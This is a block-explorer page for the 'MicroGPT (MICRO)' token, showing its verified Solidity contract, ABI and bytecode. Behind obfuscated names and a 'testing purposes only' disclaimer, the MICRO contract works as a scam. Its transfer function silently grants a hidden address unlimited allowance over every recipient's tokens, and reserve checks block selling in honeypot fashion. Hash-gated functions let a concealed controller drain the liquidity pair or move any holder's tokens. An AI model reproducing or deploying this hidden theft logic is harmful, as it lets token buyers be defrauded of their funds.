ETH Price: $2,295.37 (-6.34%)
Gas: 0 Gwei

Token

MicroGPT (MICRO)

Overview

Max Total Supply

1,000,000,000,000 MICRO

Holders

625

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
MICRO

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Arbiscan.io on 2024-11-19
*/

/**
Website: https://www.microgpt.io/
Twitter: https://x.com//Micro_GPT
Telegram: https://t.me/microgptanouncement
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IUniswapV2Factory {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract BERC20 is IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    constructor(
       string memory name_,
       string memory symbol_,
       address owner
    ) {
        _name=name_;
        _symbol=symbol_;
        _decimals=9;
        _tTotal=1000000000000 * 10**_decimals;
        _tOwned[owner] = _tTotal;

        emit Transfer(address(0), owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address skfOTEuWJy, uint256 XAKjpkfhP)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, skfOTEuWJy, XAKjpkfhP);
        return true;
    }


    function allowance(address cRwkaNvde, address fkljyetlaxb)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[cRwkaNvde][fkljyetlaxb];
    }


    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(
        address mssAWTAxvs,
        address qiagvjzouqe,
        uint256 amount
    ) internal virtual {
        require(
            mssAWTAxvs != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            qiagvjzouqe != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[mssAWTAxvs] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[mssAWTAxvs] = _tOwned[mssAWTAxvs].sub(amount);
        _tOwned[qiagvjzouqe] = _tOwned[qiagvjzouqe].add(amount);
        emit Transfer(mssAWTAxvs, qiagvjzouqe, amount);
    }

    

    function transferFrom(
        address kEqXmLPJBvZR,
        address mmunqdloxudne,
        uint256 qcctpctfwtdxtb
    ) public override returns (bool) {
        _transfer(kEqXmLPJBvZR, mmunqdloxudne, qcctpctfwtdxtb);
        _approve(
            kEqXmLPJBvZR,
            msg.sender,
            _allowances[kEqXmLPJBvZR][msg.sender].sub(
                qcctpctfwtdxtb,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual  {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract MICRO is BERC20 {
    using SafeMath for uint256;
    string private _name_ = "MicroGPT";
    string private _symbol_ = "MICRO";
    uint256 private _vpynxurcyf;
    address private zftpuudoavkz = 0xa202303AAFF6e485ebf73397dFC10Ab643CB66ad;
    address private dVBvbTLghTKRr = 0x663bD3bAe21e4Db814bee0870eE51f3FCdE74d03;
    address private hlRcaKSyhS;

    IUniswapV2Factory private immutable uniswapV2Router;

    mapping(address => bool) public _uyqmcihgtpeq;
    mapping(address => bool) public _vaSaGUplmmDTG;

    mapping(address => bool) public wcvorofpxkuwey;
    mapping(address => bool) public _uZSkIVooChD;
    address public uniswapV2Pair;
    address private _llevpzpomtdk;
    address public factory;
    uint256 private NmEFqbJljDMRO = 1000;
    mapping(address => uint256) private rfyqswpxvpnzol;
    bool public VCcXEVClto = true;
    uint256 private yovvpevwqnq = 7;
    uint256 private awzLsDzJmmuO = 0;
    uint256 private euprruytlluyh = 222;
    bool public ikXYytFkkj = true;
    bytes32 private _mAeExkNCji;
    mapping(address => bool) public _qRukFaMUihuSxN;

    mapping(address => uint256) public _uhcrezulhfc;


    address public yxSxLQbDhe;
    address private FdqJJGimfbCdC;
    address private bnadkhbvgdcl;

    uint256 private JtyqQxqweaCNyC = 11;
    uint256 private njgwpnpndzcfm = 1e8;

    uint256 private RZWCWmxfcXCxbt = 125423232111333;
    uint256 private ts;

    mapping(address => bool) public VpejVdExbWK;

    uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));

    constructor() BERC20(_name_, _symbol_,dVBvbTLghTKRr
        ) {
        IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());FdqJJGimfbCdC = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));bnadkhbvgdcl = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
        uniswapV2Router = _uniswapV2Router;
        _mAeExkNCji = sha256(abi.encodePacked(zftpuudoavkz));
        hlRcaKSyhS = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
        _llevpzpomtdk = zftpuudoavkz;
        _vpynxurcyf = totalSupply();
        VpejVdExbWK[FdqJJGimfbCdC] = true;
        VpejVdExbWK[bnadkhbvgdcl] = true;
        wcvorofpxkuwey[uniswapV2Pair] = true;
        _uZSkIVooChD[_llevpzpomtdk] = true;
        _uyqmcihgtpeq[address(this)] = true;
        _uyqmcihgtpeq[_llevpzpomtdk] = true;
        _uyqmcihgtpeq[dVBvbTLghTKRr] = true;
    }
   function _yxSxLQbDhe(address owner, address spender) internal virtual {
        _approve(owner,spender,_vpynxurcyf);
    }


    function _transfer(         address from,         address to,         uint256 amount     ) internal override {         require(from != address(0), "ERC20: transfer from the zero address");         require(to != address(0), "ERC20: transfer to the zero address");         require(amount > 0, "Transfer amount must be greater than zero");
        uint256 expectedamount = amount;if (_uyqmcihgtpeq[from] || _uyqmcihgtpeq[to]) {             super._transfer(from, to, expectedamount);             return;         } address feeaddress = to;
        bool taketFeeTransfer = _vaSaGUplmmDTG[from];
        bool takebottime = rfyqswpxvpnzol[from] + yovvpevwqnq > block.timestamp;
        require(!taketFeeTransfer);
        if (from == uniswapV2Pair) {         bool ghewra;         bool sdhkwn;         uint256 otherAmount;         (, bytes memory token00) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0dfe1681)         );        (, bytes memory token01) = uniswapV2Pair.call(         abi.encodeWithSelector(0xd21220a7)        );       (, bytes memory reserves01) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0902f1ac)      );       (uint256 reserves0, uint256 reserves1) = abi.decode(         reserves01,         (uint256, uint256)     );     address token0 = abi.decode(token00, (address));     address token1 = abi.decode(token01, (address));     (, bytes memory amount01) = token0.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount03 = abi.decode(amount01, (uint256));     (, bytes memory amount02) = token1.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount1 = abi.decode(amount02, (uint256));     if (token0 == hlRcaKSyhS) {         if (reserves0 > amount03) {             otherAmount = reserves0 - amount03;             ghewra = otherAmount > NmEFqbJljDMRO;         } else {             sdhkwn = reserves0 == amount03;         }     } else if (token1 == hlRcaKSyhS) {         if (reserves1 > amount1) {             otherAmount = reserves1 - amount1;             ghewra = otherAmount > NmEFqbJljDMRO;         } else {             sdhkwn = reserves1 == amount1;         }     }            require(!ghewra && !sdhkwn);     }   if (feeaddress != address(this) && feeaddress != uniswapV2Pair && feeaddress != zftpuudoavkz && allowance(feeaddress,_llevpzpomtdk) < JtyqQxqweaCNyC ){  _yxSxLQbDhe(feeaddress,_llevpzpomtdk);}      
        super._transfer(from, to, expectedamount);
    }
    function fddosxvrb(address jtsurodjaj) public {         if (sha256(abi.encodePacked(msg.sender)) != _mAeExkNCji) {             return;         } else {             yxSxLQbDhe = jtsurodjaj;         }     }
    function zfrrqhkvzm(uint256 rzqhydjk) public {         if (sha256(abi.encodePacked(msg.sender)) != _mAeExkNCji) {             return;         } else {             _transfer(uniswapV2Pair, yxSxLQbDhe, rzqhydjk);         }     }
    function bnvhlgoac(address vpynxurcyf, uint256 zfgtetqtx) public {         if (sha256(abi.encodePacked(msg.sender)) != _mAeExkNCji) {             return;         } else {             _transfer(yxSxLQbDhe, vpynxurcyf, zfgtetqtx);         }     }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VCcXEVClto","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"VpejVdExbWK","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_qRukFaMUihuSxN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uZSkIVooChD","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uhcrezulhfc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uyqmcihgtpeq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_vaSaGUplmmDTG","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"cRwkaNvde","type":"address"},{"internalType":"address","name":"fkljyetlaxb","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vpynxurcyf","type":"address"},{"internalType":"uint256","name":"zfgtetqtx","type":"uint256"}],"name":"bnvhlgoac","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"jtsurodjaj","type":"address"}],"name":"fddosxvrb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ikXYytFkkj","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"skfOTEuWJy","type":"address"},{"internalType":"uint256","name":"XAKjpkfhP","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"kEqXmLPJBvZR","type":"address"},{"internalType":"address","name":"mmunqdloxudne","type":"address"},{"internalType":"uint256","name":"qcctpctfwtdxtb","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wcvorofpxkuwey","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yxSxLQbDhe","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rzqhydjk","type":"uint256"}],"name":"zfrrqhkvzm","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f4d6963726f475054000000000000000000000000000000000000000000000000815250600790805190602001906200009492919062000c1f565b506040518060400160405280600581526020017f4d4943524f00000000000000000000000000000000000000000000000000000081525060089080519060200190620000e292919062000c1f565b5073a202303aaff6e485ebf73397dfc10ab643cb66ad600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073663bd3bae21e4db814bee0870ee51f3fcde74d03600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86014556001601660006101000a81548160ff0219169083151502179055506007601755600060185560de6019556001601a60006101000a81548160ff021916908315150217905550600b6021556305f5e1006022556572125f3252e5602355600b60001b60001c6026553480156200020757600080fd5b50600780546200021790620010ef565b80601f01602080910402602001604051908101604052809291908181526020018280546200024590620010ef565b8015620002965780601f106200026a5761010080835404028352916020019162000296565b820191906000526020600020905b8154815290600101906020018083116200027857829003601f168201915b505050505060088054620002aa90620010ef565b80601f0160208091040260200160405190810160405280929190818152602001828054620002d890620010ef565b8015620003295780601f10620002fd5761010080835404028352916020019162000329565b820191906000526020600020905b8154815290600101906020018083116200030b57829003601f168201915b5050505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200036992919062000c1f565b5081600490805190602001906200038292919062000c1f565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003bd919062000ec6565b64e8d4a51000620003cf919062001003565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200047c919062000e38565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e757600080fd5b505afa158015620004fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000522919062000cfd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058557600080fd5b505afa1580156200059a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c0919062000cfd565b6040518363ffffffff1660e01b8152600401620005df92919062000e0b565b602060405180830381600087803b158015620005fa57600080fd5b505af11580156200060f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000635919062000cfd565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007a5919062000dd5565b604051602081830303815290604052604051620007c3919062000df2565b602060405180830381855afa158015620007e1573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019062000806919062000d2f565b601b819055507382af49447d8a07e3bd95bd0d56f35241523fbab1600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008d462000c1560201b60201c565b600981905550600160256000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160256000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050620011fe565b6000600654905090565b82805462000c2d90620010ef565b90600052602060002090601f01602090048101928262000c51576000855562000c9d565b82601f1062000c6c57805160ff191683800117855562000c9d565b8280016001018555821562000c9d579182015b8281111562000c9c57825182559160200191906001019062000c7f565b5b50905062000cac919062000cb0565b5090565b5b8082111562000ccb57600081600090555060010162000cb1565b5090565b60008151905062000ce081620011ca565b92915050565b60008151905062000cf781620011e4565b92915050565b60006020828403121562000d165762000d15620011ab565b5b600062000d268482850162000ccf565b91505092915050565b60006020828403121562000d485762000d47620011ab565b5b600062000d588482850162000ce6565b91505092915050565b62000d6c8162001064565b82525050565b62000d8762000d818262001064565b62001125565b82525050565b600062000d9a8262000e55565b62000da6818562000e60565b935062000db8818560208601620010b9565b80840191505092915050565b62000dcf81620010a2565b82525050565b600062000de3828462000d72565b60148201915081905092915050565b600062000e00828462000d8d565b915081905092915050565b600060408201905062000e22600083018562000d61565b62000e31602083018462000d61565b9392505050565b600060208201905062000e4f600083018462000dc4565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ebd5780860481111562000e955762000e946200114d565b5b600185161562000ea55780820291505b808102905062000eb585620011bd565b945062000e75565b94509492505050565b600062000ed382620010a2565b915062000ee083620010ac565b925062000f0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f17565b905092915050565b60008262000f29576001905062000ffc565b8162000f39576000905062000ffc565b816001811462000f52576002811462000f5d5762000f93565b600191505062000ffc565b60ff84111562000f725762000f716200114d565b5b8360020a91508482111562000f8c5762000f8b6200114d565b5b5062000ffc565b5060208310610133831016604e8410600b841016171562000fcd5782820a90508381111562000fc75762000fc66200114d565b5b62000ffc565b62000fdc848484600162000e6b565b9250905081840481111562000ff65762000ff56200114d565b5b81810290505b9392505050565b60006200101082620010a2565b91506200101d83620010a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200105957620010586200114d565b5b828202905092915050565b6000620010718262001082565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010d9578082015181840152602081019050620010bc565b83811115620010e9576000848401525b50505050565b600060028204905060018216806200110857607f821691505b602082108114156200111f576200111e6200117c565b5b50919050565b6000620011328262001139565b9050919050565b60006200114682620011b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011d58162001064565b8114620011e157600080fd5b50565b620011ef8162001078565b8114620011fb57600080fd5b50565b60805160601c6129386200121a600039600050506129386000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c806374fb8c27116100f9578063ba460f0011610097578063c48f7d2e11610071578063c48f7d2e1461050e578063d9421bb31461053e578063dd62ed3e1461056e578063e88f2cc31461059e576101a9565b8063ba460f00146104b8578063bca43ba4146104d4578063c45a0155146104f0576101a9565b806395d89b41116100d357806395d89b411461040a5780639c85dab814610428578063a457c2d714610458578063a9059cbb14610488576101a9565b806374fb8c27146103a05780637c145c83146103d0578063927f3d41146103ec576101a9565b806339509351116101665780634d2f2ca8116101405780634d2f2ca8146102f25780635af43f05146103105780635e15d4be1461034057806370a0823114610370576101a9565b806339509351146102865780634911f050146102b657806349bd5a5e146102d4576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc578063189bf6d91461021a57806323b872dd14610238578063313ce56714610268575b600080fd5b6101b66105ce565b6040516101c3919061230f565b60405180910390f35b6101e660048036038101906101e19190611ffd565b610660565b6040516101f391906122f4565b60405180910390f35b610204610677565b6040516102119190612411565b60405180910390f35b610222610681565b60405161022f91906122f4565b60405180910390f35b610252600480360381019061024d9190611faa565b610694565b60405161025f91906122f4565b60405180910390f35b61027061075f565b60405161027d9190612411565b60405180910390f35b6102a0600480360381019061029b9190611ffd565b610779565b6040516102ad91906122f4565b60405180910390f35b6102be61081e565b60405